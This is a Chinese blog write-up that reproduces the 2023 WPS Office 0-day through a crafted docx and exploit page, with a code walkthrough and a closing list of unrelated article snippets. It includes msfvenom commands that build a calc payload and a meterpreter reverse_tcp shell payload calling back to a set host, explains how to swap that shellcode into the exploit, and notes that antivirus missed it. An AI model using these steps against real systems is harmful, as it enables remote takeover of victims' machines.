当前位置: 首页 > news >正文

WPS-0DAY-20230809的分析和利用复现

WPS-0DAY-20230809的分析和初步复现

  • 一、漏洞学习
    • 1、本地复现
      • 环境
      • 过程
    • 2、代码解析
      • 1.html
      • exp.py
    • 3、通过修改shellcode拿shell
      • 曲折的学习
      • msf生成sc
  • 二、疑点
    • 1、问题
    • 2、我的测试
      • 测试方法
      • 测试结果

一、漏洞学习

强调:以下内容仅供学习和测试,一切行为均在本地进行。利用本文复现该漏洞后切勿从事侵权或违反《网络安全法》的行为,若造成任何后果,本人概不负责。
针对网上传的版本和github上公开的版本(提前备份一下,两个版本的zip和复现成功的虚拟机已经整合至下载板块的“WPS-0DAY-20230809”——审核结果将在2-10个工作日完成上传)进行了复现,并实现了getshell的操作,由于是第一次接触shellcode略显生疏,各位大佬多多包涵。这里分享一下自己的学习经过,也希望大佬能解答一下文末的疑点。

1、本地复现

B站上也有其他大佬本地复现的视频,可以自行搜索观看。

环境

Windows 10 企业版2H22、wps12300、phpstudy8.1.1.3(其他:火绒最新版、winrar)
(我镜像里面那个idea的安装包没啥用,纯粹是复现某个java的cms用的,这个快照也没安装,emmm,winrar自己下一个吧,我就懒得再打包一个快照了。皮一下很开心~)

过程

小皮起个本地网站,将1.html放进去,开启apache2即可
在这里插入图片描述修改hosts文件,重启网站(可以直接下载我整理的资料,到文档里复制,如果自己手中有资源或者愿意打字,当我没说)。
在这里插入图片描述双击poc.docx并打开
在这里插入图片描述本地复现成功。
在这里插入图片描述

2、代码解析

这里因为学识有限找个AI读了一下。

1.html

当分析这个代码段时,我们可以看到它实际上在利用一个 WebKit(浏览器引擎)中的漏洞,来实现对浏览器内存的非法访问和控制。以下是代码的主要漏洞利用部分的分析:

Memory Corruption:
在代码中的 foo 函数中,利用了一个 JIT (Just-In-Time) 编译器的漏洞,通过触发对函数的 JIT 编译,创建了一些特定的数据结构,这些结构在内存中存储了相互关联的函数和对象。但由于编译器的缺陷,这些结构可能被损坏,导致后续访问时产生内存错误。

Out-of-Bounds Access:
在代码中的 addrof 和 fakeobj 函数中,利用了一个越界访问漏洞,通过操纵数组的边界条件,可以读写数组之外的内存。具体来说,通过修改数组的长度和元素,可以实现越界读取和写入操作。

Arbitrary Read/Write:
通过越界访问,可以读写到特定内存位置,甚至可以读写到具有敏感权限的内存区域。这允许了对一些内存结构进行读写,从而绕过浏览器的内存保护机制。

WebAssembly and Shellcode Execution:
通过创建 WebAssembly 模块,并将其中的 shellcode(一段具有特定功能的二进制代码)写入内存,代码实现了对内存区域的写入,即将 shellcode 写入浏览器内存。之后,通过调用 WebAssembly 实例中的函数,实际上在浏览器中执行了 shellcode。

Exploitation:
总的来说,代码通过越界访问和内存错误,成功地修改了浏览器内存中的数据结构,并实现了对内存的非法读写。通过写入 shellcode 并执行它,代码最终实现了对浏览器中的操作系统层面的控制。

需要注意的是,这是一个非常复杂的漏洞利用,利用了多个不同的漏洞点,包括 JIT 编译器的缺陷、越界访问等。此类漏洞利用在现代浏览器中是极其罕见的,浏览器供应商通常会及时修复这些问题以保护用户的安全。然而,这也强调了编写安全的 JavaScript 代码以及保持浏览器更新的重要性。

exp.py

这段代码是一个 Python 脚本,主要用于修改 Microsoft Word 文档中的链接。它使用了 lxml 库来解析和处理 XML 数据,以及 zipfile 库来操作 Office Open XML (OOXML) 格式的 Word 文档(.docx 文件)。

replace_url_in_docx函数:打开指定的 .docx 文件,查找并替换其中的 URL。
具体步骤如下:
打开 .docx 文件,使用 “a” 模式,表示追加模式。
在 zip 压缩文件中查找 webExtension1.xml 文件的路径。
如果找不到 webExtension1.xml 文件,输出错误信息并关闭文件。
读取 webExtension1.xml 文件的内容。
解析 XML 内容,得到根元素。
使用特定的命名空间查找 标签,并替换其中的 URL。
将修改后的 XML 内容写回压缩文件。
关闭压缩文件。

其他的都代码没什么,解析这段代码主要就是为了复现这个“poc.docx”,但是并没有制造出这个poc.docx,具体的测试会在最后的疑点中阐述。

3、通过修改shellcode拿shell

曲折的学习

不得不感慨,还好身边有些懂行的大佬,不然复现shellcode的思路都没有,必须感谢一下“.”和“PMR”(昵称)的指导。
这里主要吐槽一下我对shellcode的第一映像,大佬们可以当个笑话乐一下。
1.html中有这样一段shellcode,套了下AI的话,它告诉我这是x86的机器码,十六进制ASCII解码后里面有个“calc”,就是倒数第五个到倒数第二个。
在这里插入图片描述我想着那就解密一下呗(现在看起来当时自己是真的蠢),但是存在函数无法识别的字符,那就写个脚本一一对应的替换一下呗。
在这里插入图片描述结果接长这样,emmmm,替换calc为charmap再加密试试?然后不出意外的失败了。

üè‚NULNULNUL`‰å1Àd‹P0‹RFF‹RDC4‹r(SI·J&1ÿ¬<a|STX,
ÁÏCRSOHÇâòRW‹RDLE‹J<‹LDC1xãHSOHÑQ‹Y
SOHÓ‹ICANã:I‹4‹SOHÖ1ÿ¬ÁÏCRSOHÇ8àuöETX}ø;}$uäX‹X$SOHÓf‹FFK‹XFSSOHÓ‹EOT‹SOHЉD$$[[aYZQÿà__Z‹DC2ë
]jSOH
…²NULNULNULPh1‹o‡ÿÕ»àGS*LFh¦•½
ÿÕ<ACK|LF€ûàuENQ»GDC3rojNULSÿÕcalcNUL

msf生成sc

好了,下面就是成功的结果了,kali终端执行一下就可以得到和网传的版本一模一样的结果了。

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num

然后要拿shell就用最常规的payload,同样设置-f为num就可以了。

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num

接着muti/hander监听一下,把生成的shellcode那道nodepad++里面删除一下“\r\n”复制并覆盖1.html的const shellcode里就行了。
最后双击poc.docx(因为懒,没有在kali启80搭1.html,如果你想要严谨一点自己在kali配置就可以了),拿到shell。
在这里插入图片描述哦,对了,再白一句,火绒没检测出来。

二、疑点

1、问题

直接说我的疑惑:image到底是什么,为什么它会影响漏洞的复现?

2、我的测试

测试方法

winrar直接打开poc.docx,进行对照实验。
在这里插入图片描述

测试结果

(不是很了解wps的文件结构,以下结论对于大佬来说可能不算什么结果)
1xlsx文件(poc.docx\word\embeddings\Workbook1.xlsx)删了倒是无所谓poc还可以正常执行,而且正常生成的docx没有该文档。
2执行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通过wps的加载项,加载一个xml——这个poc.docx的构建黑客一定操作了这一步,因为正常生成的docx文件没有webExtensions目录。
3windows过期(或者未激活状态)复现失败。
本对照实验仅为一次简单的测试,可能存在未考虑的因素,这里分享另外两位大佬的测试流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA
本人测试结果与其存在差异或存在错误,均为能力所困,实属正常(本测试结果仅供参考)。

相关文章:

WPS-0DAY-20230809的分析和利用复现

WPS-0DAY-20230809的分析和初步复现 一、漏洞学习1、本地复现环境过程 2、代码解析1.htmlexp.py 3、通过修改shellcode拿shell曲折的学习msf生成sc 二、疑点1、问题2、我的测试测试方法测试结果 一、漏洞学习 强调&#xff1a;以下内容仅供学习和测试&#xff0c;一切行为均在…...

MongoDB(三十九)

目录 一、概述 &#xff08;一&#xff09;相关概念 &#xff08;二&#xff09;特性 二、应用场景 三、安装 &#xff08;一&#xff09;编译安装 &#xff08;二&#xff09;yum安装 1、首先制作repo源 2、软件包名&#xff1a;mongodb-org 3、启动服务&#xff1a…...

InnoDB引擎

1 逻辑存储结构 InnoDB的逻辑存储结构如下图所示: 1). 表空间 表空间是InnoDB存储引擎逻辑结构的最高层&#xff0c; 如果用户启用了参数 innodb_file_per_table(在8.0版本中默认开启) &#xff0c;则每张表都会有一个表空间&#xff08;xxx.ibd&#xff09;&#xff0c;一个…...

CSS3中的var()函数

目录 定义&#xff1a; 语法&#xff1a; 用法&#xff1a; 定义&#xff1a; var()函数是一个 CSS 函数用于插入自定义属性&#xff08;有时也被称为“CSS 变量”&#xff09;的值 语法&#xff1a; var(custom-property-name, value) 函数的第一个参数是要替换的自定义属性…...

opencv图片换背景色

#include <iostream> #include<opencv2/opencv.hpp> //引入头文件using namespace cv; //命名空间 using namespace std;//opencv这个机器视觉库&#xff0c;它提供了很多功能&#xff0c;都是以函数的形式提供给我们 //我们只需要会调用函数即可in…...

JAVA语言:什么是懒加载机制?

JVM没有规定什么时候加载,一般是什么时候使用这个class才会什么时候加载,但是JVM规定了什么时候必须初始化(初始化是第三步、装载、连接、初始化),只要加载之后,那么肯定是要进行初始化的,所以我们就可以通过查看这个类有没有进行初始化,从而判断这个类有没有被加载。 …...

jupyter默认工作目录的更改

1、生成配置文件&#xff1a;打开Anaconda Prompt&#xff0c;输入如下命令 jupyter notebook --generate-config询问[y/N]时输入y 2、配置文件修改&#xff1a;根据打印路径打开配置文件jupyter_notebook_config.py&#xff0c;全文搜索找到notebook_dir所在位置。在单引号中…...

Flutter系列文章-Flutter UI进阶

在本篇文章中&#xff0c;我们将深入学习 Flutter UI 的进阶技巧&#xff0c;涵盖了布局原理、动画实现、自定义绘图和效果、以及 Material 和 Cupertino 组件库的使用。通过实例演示&#xff0c;你将更加了解如何创建复杂、令人印象深刻的用户界面。 第一部分&#xff1a;深入…...

Elasticsearch在部署时,对Linux的设置有哪些优化方法?

部署Elasticsearch时&#xff0c;可以通过优化Linux系统的设置来提升性能和稳定性。以下是一些常见的优化方法&#xff1a; 1.文件描述符限制 Elasticsearch需要大量的文件描述符来处理数据和连接&#xff0c;所以确保调整系统的文件描述符限制。可以通过修改 /etc/security/…...

【网络基础】应用层协议

【网络基础】应用层协议 文章目录 【网络基础】应用层协议1、协议作用1.1 应用层需求1.2 协议分类 2、HTTP & HTTPS2.1 HTTP/HTTPS 简介2.2 HTTP工作原理2.3 HTTPS工作原理2.4 区别 3、URL3.1 编码解码3.2 URI & URL 4、HTTP 消息结构4.1 HTTP请求方法4.2 HTTP请求头信…...

面试八股文Mysql:(1)事务实现的原理

1. 什么是事务 事务就是一组数据库操作&#xff0c;这些操作是一个atomic&#xff08;原子性的操作&#xff09; &#xff0c;不可分割&#xff0c;要么都执行&#xff0c;要么回滚&#xff08;rollback&#xff09;都不执行。这样就避免了某个操作成功某个操作失败&#xff0…...

Linux学习之sed多行模式

N将下一行加入到模式空间 D删除模式空间中的第一个字符到第一个换行符 P打印模式空间中的第一个字符到第一个换行符 doubleSpace.txt里边的内容如下&#xff1a; goo d man使用下边的命令可以实现把上边对应的内容放到doubleSpace.txt。 echo goo >> doubleSpace.txt e…...

【刷题笔记8.15】【链表相关】LeetCode:合并两个有序链表、反转链表

LeetCode&#xff1a;【链表相关】合并两个有序链表 题目1&#xff1a;合并两个有序链表 题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3…...

神经网络基础-神经网络补充概念-11-向量化逻辑回归

概念 通过使用 NumPy 数组来进行矩阵运算&#xff0c;将循环操作向量化。 向量化的好处在于它可以同时处理多个样本&#xff0c;从而加速计算过程。在实际应用中&#xff0c;尤其是处理大规模数据集时&#xff0c;向量化可以显著提高代码的效率。 代码实现-以逻辑回归为例 i…...

openGauss学习笔记-40 openGauss 高级数据管理-锁

文章目录 openGauss学习笔记-40 openGauss 高级数据管理-锁40.1 语法格式40.2 参数说明40.3 示例 openGauss学习笔记-40 openGauss 高级数据管理-锁 如果需要保持数据库数据的一致性&#xff0c;可以使用LOCK TABLE来阻止其他用户修改表。 例如&#xff0c;一个应用需要保证表…...

勘探开发人工智能技术:机器学习(6)

0 提纲 7.1 循环神经网络RNN 7.2 LSTM 7.3 Transformer 7.4 U-Net 1 循环神经网络RNN 把上一时刻的输出作为下一时刻的输入之一. 1.1 全连接神经网络的缺点 现在的任务是要利用如下语料来给apple打标签&#xff1a; 第一句话&#xff1a;I like eating apple!(我喜欢吃苹…...

代理类型中的 HTTP、HTTPS 和 SOCKS 有什么区别?

HTTP、HTTPS 和 SOCKS 都是代理&#xff08;Proxy&#xff09;协议&#xff0c;用于在网络通信中转发请求和响应&#xff0c;但它们在工作原理和用途上有一些区别。下面是它们之间的主要区别&#xff1a; HTTP代理&#xff1a; 工作原理&#xff1a; HTTP 代理主要用于转发 HTT…...

【STM32RT-Thread零基础入门】 3. PIN设备(GPIO)的使用

硬件&#xff1a;STM32F103ZET6、ST-LINK、usb转串口工具、4个LED灯、1个蜂鸣器、4个1k电阻、2个按键、面包板、杜邦线 文章目录 前言一、PIN设备介绍1. 引脚编号获取2. 设置引脚的输入/输出模式3. 设置引脚的电平值4. 读取引脚的电平值5. 绑定引脚中断回调函数6. 脱离引脚中断…...

fiddler抓包工具的用法以及抓取手机报文定位bug

前言&#xff1a; fiddler抓包工具是日常测试中常用的一种bug定位工具 一 抓取https报文步骤 使用方法&#xff1a; 1 首先打开fiddler工具将证书导出 点击TOOLS------Options------Https-----Actions---选中第二个选项 2 把证书导出到桌面后 打开谷歌浏览器 设置---高级…...

spring中时间格式化的两种方式

方法一&#xff1a;自己格式化 自己写一个格式化的类&#xff0c;把date类型的时间传进去&#xff1a; public class DateUtil {public static String formatDate(Date date){SimpleDateFormat simpleDateFormatnew SimpleDateFormat("yyyy-MM-dd HH:mm:ss");retur…...

多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度​

一、引言&#xff1a;多云环境的技术复杂性本质​​ 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时&#xff0c;​​基础设施的技术债呈现指数级积累​​。网络连接、身份认证、成本管理这三大核心挑战相互嵌套&#xff1a;跨云网络构建数据…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别

一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

IGP(Interior Gateway Protocol,内部网关协议)

IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

centos 7 部署awstats 网站访问检测

一、基础环境准备&#xff08;两种安装方式都要做&#xff09; bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats&#xff0…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡&#xff0c;轻快的音乐在耳边持续回荡&#xff0c;小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下&#xff0c;六一来了。 今天是六一儿童节&#xff0c;小蓝老师为了让大家在节…...

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个&#xff1f;3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制&#xff08;过半机制&#xff0…...

质量体系的重要

质量体系是为确保产品、服务或过程质量满足规定要求&#xff0c;由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面&#xff1a; &#x1f3db;️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限&#xff0c;形成层级清晰的管理网络&#xf…...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...